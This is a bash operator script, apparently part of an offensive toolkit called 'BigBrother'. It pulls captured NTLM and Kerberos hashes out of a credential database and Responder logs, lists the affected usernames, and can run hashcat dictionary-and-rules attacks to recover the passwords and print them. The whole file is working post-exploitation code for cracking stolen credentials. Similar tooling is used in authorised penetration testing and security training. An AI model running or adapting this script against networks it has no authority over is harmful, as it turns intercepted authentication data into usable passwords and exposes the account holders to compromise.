#!/usr/bin/env bash
# BigBrother Operator Script — Export and Crack Captured Hashes
#
# Exports credentials from BigBrother's credential database and Responder
# logs into hashcat-ready format. Optionally runs hashcat with common
# wordlists and rule sets.
#
# Usage: ./crack_hashes.sh <data_dir> [--crack] [--wordlist <path>]
#
# Examples:
#   ./crack_hashes.sh ./bb-pull-20240115               # Export only
#   ./crack_hashes.sh ./bb-pull-20240115 --crack        # Export + crack
#   ./crack_hashes.sh ./bb-pull-20240115 --crack --wordlist /opt/wordlists/rockyou.txt
#
# Requires: sqlite3, hashcat (optional)

set -euo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

# ---------------------------------------------------------------------------
# Arguments
# ---------------------------------------------------------------------------

DATA_DIR="${1:-}"
DO_CRACK=false
WORDLIST="${HASHCAT_WORDLIST:-/usr/share/wordlists/rockyou.txt}"
RULES_FILE="${HASHCAT_RULES:-/usr/share/hashcat/rules/best64.rule}"

shift || true
while [[ $# -gt 0 ]]; do
    case "$1" in
        --crack) DO_CRACK=true ;;
        --wordlist) WORDLIST="$2"; shift ;;
        --rules) RULES_FILE="$2"; shift ;;
        *) echo -e "${RED}Unknown option: $1${NC}"; exit 1 ;;
    esac
    shift
done

if [[ -z "$DATA_DIR" ]]; then
    echo -e "${RED}Usage: $0 <data_dir> [--crack] [--wordlist <path>]${NC}"
    echo ""
    echo "Options:"
    echo "  --crack              Run hashcat after export"
    echo "  --wordlist <path>    Wordlist for cracking (default: rockyou.txt)"
    echo "  --rules <path>       Hashcat rules file (default: best64.rule)"
    echo ""
    echo "Environment:"
    echo "  HASHCAT_WORDLIST     Default wordlist path"
    echo "  HASHCAT_RULES        Default rules file path"
    exit 1
fi

OUTPUT_DIR="$DATA_DIR/cracking-$(date +%Y%m%d-%H%M%S)"
mkdir -p "$OUTPUT_DIR"

echo -e "${CYAN}[*] BigBrother Hash Export & Cracking${NC}"
echo -e "    Data dir:  ${DATA_DIR}"
echo -e "    Output:    ${OUTPUT_DIR}"
echo ""

# ---------------------------------------------------------------------------
# Export from credential database
# ---------------------------------------------------------------------------

CRED_DB="$DATA_DIR/databases/credentials.db"
TOTAL_HASHES=0

if [[ -f "$CRED_DB" ]]; then
    echo -e "${YELLOW}[*] Exporting from credential database...${NC}"

    # NTLMv2 hashes (hashcat mode 5600)
    sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5600 AND credential_value != ''" 2>/dev/null \
        > "$OUTPUT_DIR/ntlmv2_5600.txt" || true
    count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
    TOTAL_HASHES=$((TOTAL_HASHES + count))
    echo -e "    NTLMv2 (5600):    ${count}"

    # NTLMv1 hashes (hashcat mode 5500)
    sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=5500 AND credential_value != ''" 2>/dev/null \
        > "$OUTPUT_DIR/ntlmv1_5500.txt" || true
    count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
    TOTAL_HASHES=$((TOTAL_HASHES + count))
    echo -e "    NTLMv1 (5500):    ${count}"

    # Kerberos TGS (hashcat mode 13100)
    sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=13100 AND credential_value != ''" 2>/dev/null \
        > "$OUTPUT_DIR/kerberos_tgs_13100.txt" || true
    count=$(wc -l < "$OUTPUT_DIR/kerberos_tgs_13100.txt" 2>/dev/null || echo 0)
    TOTAL_HASHES=$((TOTAL_HASHES + count))
    echo -e "    Kerberos TGS (13100): ${count}"

    # Kerberos AS-REP (hashcat mode 18200)
    sqlite3 "$CRED_DB" "SELECT credential_value FROM credentials WHERE hashcat_mode=18200 AND credential_value != ''" 2>/dev/null \
        > "$OUTPUT_DIR/kerberos_asrep_18200.txt" || true
    count=$(wc -l < "$OUTPUT_DIR/kerberos_asrep_18200.txt" 2>/dev/null || echo 0)
    TOTAL_HASHES=$((TOTAL_HASHES + count))
    echo -e "    Kerberos AS-REP (18200): ${count}"

    # Cleartext credentials (no cracking needed)
    sqlite3 "$CRED_DB" "SELECT username || ':' || credential_value FROM credentials WHERE hashcat_mode=0 AND credential_value != ''" 2>/dev/null \
        > "$OUTPUT_DIR/cleartext.txt" || true
    count=$(wc -l < "$OUTPUT_DIR/cleartext.txt" 2>/dev/null || echo 0)
    echo -e "    ${GREEN}Cleartext:        ${count}${NC}"

    echo ""
else
    echo -e "${YELLOW}[*] No credential database found${NC}"
fi

# ---------------------------------------------------------------------------
# Export from Responder logs
# ---------------------------------------------------------------------------

RESPONDER_DIR="$DATA_DIR/responder"
if [[ -d "$RESPONDER_DIR" ]]; then
    echo -e "${YELLOW}[*] Exporting from Responder logs...${NC}"

    # Collect NTLMv2 hashes from Responder log files
    for hashfile in "$RESPONDER_DIR"/*-NTLMv2-*.txt; do
        [[ -f "$hashfile" ]] || continue
        cat "$hashfile" >> "$OUTPUT_DIR/ntlmv2_5600.txt"
    done

    for hashfile in "$RESPONDER_DIR"/*-NTLMv1-*.txt; do
        [[ -f "$hashfile" ]] || continue
        cat "$hashfile" >> "$OUTPUT_DIR/ntlmv1_5500.txt"
    done

    # Deduplicate
    for f in "$OUTPUT_DIR"/*.txt; do
        [[ -f "$f" ]] || continue
        sort -u "$f" -o "$f"
    done

    count=$(wc -l < "$OUTPUT_DIR/ntlmv2_5600.txt" 2>/dev/null || echo 0)
    echo -e "    NTLMv2 total (deduped): ${count}"
    count=$(wc -l < "$OUTPUT_DIR/ntlmv1_5500.txt" 2>/dev/null || echo 0)
    echo -e "    NTLMv1 total (deduped): ${count}"
    echo ""
fi

# Remove empty files
find "$OUTPUT_DIR" -name "*.txt" -empty -delete 2>/dev/null

# ---------------------------------------------------------------------------
# Summary of unique users
# ---------------------------------------------------------------------------

echo -e "${YELLOW}[*] Unique users with captured hashes:${NC}"
for hashfile in "$OUTPUT_DIR"/ntlm*.txt; do
    [[ -f "$hashfile" ]] || continue
    mode=$(basename "$hashfile" | grep -o '[0-9]*')
    echo -e "    ${CYAN}Mode $mode:${NC}"
    cut -d: -f1 "$hashfile" | sort -u | head -20 | sed 's/^/      /'
    total=$(cut -d: -f1 "$hashfile" | sort -u | wc -l)
    if [[ $total -gt 20 ]]; then
        echo -e "      ... ($total total)"
    fi
done
echo ""

# ---------------------------------------------------------------------------
# Crack with hashcat (optional)
# ---------------------------------------------------------------------------

if $DO_CRACK; then
    if ! command -v hashcat &>/dev/null; then
        echo -e "${RED}[-] hashcat not found — install from https://hashcat.net${NC}"
        exit 1
    fi

    if [[ ! -f "$WORDLIST" ]]; then
        echo -e "${RED}[-] Wordlist not found: $WORDLIST${NC}"
        exit 1
    fi

    echo -e "${CYAN}[*] Running hashcat...${NC}"
    echo -e "    Wordlist: ${WORDLIST}"
    echo -e "    Rules:    ${RULES_FILE}"
    echo ""

    POTFILE="$OUTPUT_DIR/hashcat.potfile"

    # Crack each hash type
    for hashfile in "$OUTPUT_DIR"/*.txt; do
        [[ -f "$hashfile" ]] || continue
        basename_hash=$(basename "$hashfile")

        # Skip cleartext and already-cracked
        [[ "$basename_hash" == "cleartext.txt" ]] && continue
        [[ "$basename_hash" == "cracked_"* ]] && continue

        # Extract hashcat mode from filename
        mode=$(echo "$basename_hash" | grep -oP '\d{4,5}' || echo "")
        if [[ -z "$mode" ]]; then
            continue
        fi

        count=$(wc -l < "$hashfile")
        if [[ $count -eq 0 ]]; then
            continue
        fi

        echo -e "${YELLOW}[*] Cracking $basename_hash ($count hashes, mode $mode)${NC}"

        # Run hashcat — dictionary + rules
        hashcat -m "$mode" -a 0 \
            "$hashfile" "$WORDLIST" \
            -r "$RULES_FILE" \
            --potfile-path "$POTFILE" \
            --outfile "$OUTPUT_DIR/cracked_${basename_hash}" \
            --outfile-format 2 \
            -O \
            2>/dev/null || true

        cracked=$(wc -l < "$OUTPUT_DIR/cracked_${basename_hash}" 2>/dev/null || echo 0)
        echo -e "    ${GREEN}Cracked: $cracked / $count${NC}"
        echo ""
    done

    # ---------------------------------------------------------------------------
    # Cracking summary
    # ---------------------------------------------------------------------------

    echo -e "${GREEN}[+] Cracking complete${NC}"
    echo -e "    Potfile: $POTFILE"
    echo ""
    echo -e "${CYAN}[*] Cracked credentials:${NC}"
    for cracked in "$OUTPUT_DIR"/cracked_*.txt; do
        [[ -f "$cracked" ]] || continue
        echo -e "    ${GREEN}$(basename $cracked):${NC}"
        head -20 "$cracked" | sed 's/^/      /'
    done
else
    echo -e "${CYAN}[*] Hash files exported to: $OUTPUT_DIR${NC}"
    echo "    Run with --crack to start cracking"
    echo ""
    echo "    Manual cracking examples:"
    echo "    hashcat -m 5600 $OUTPUT_DIR/ntlmv2_5600.txt /path/to/wordlist.txt -r /path/to/rules"
    echo "    hashcat -m 5500 $OUTPUT_DIR/ntlmv1_5500.txt /path/to/wordlist.txt"
    echo "    hashcat -m 13100 $OUTPUT_DIR/kerberos_tgs_13100.txt /path/to/wordlist.txt"
fi
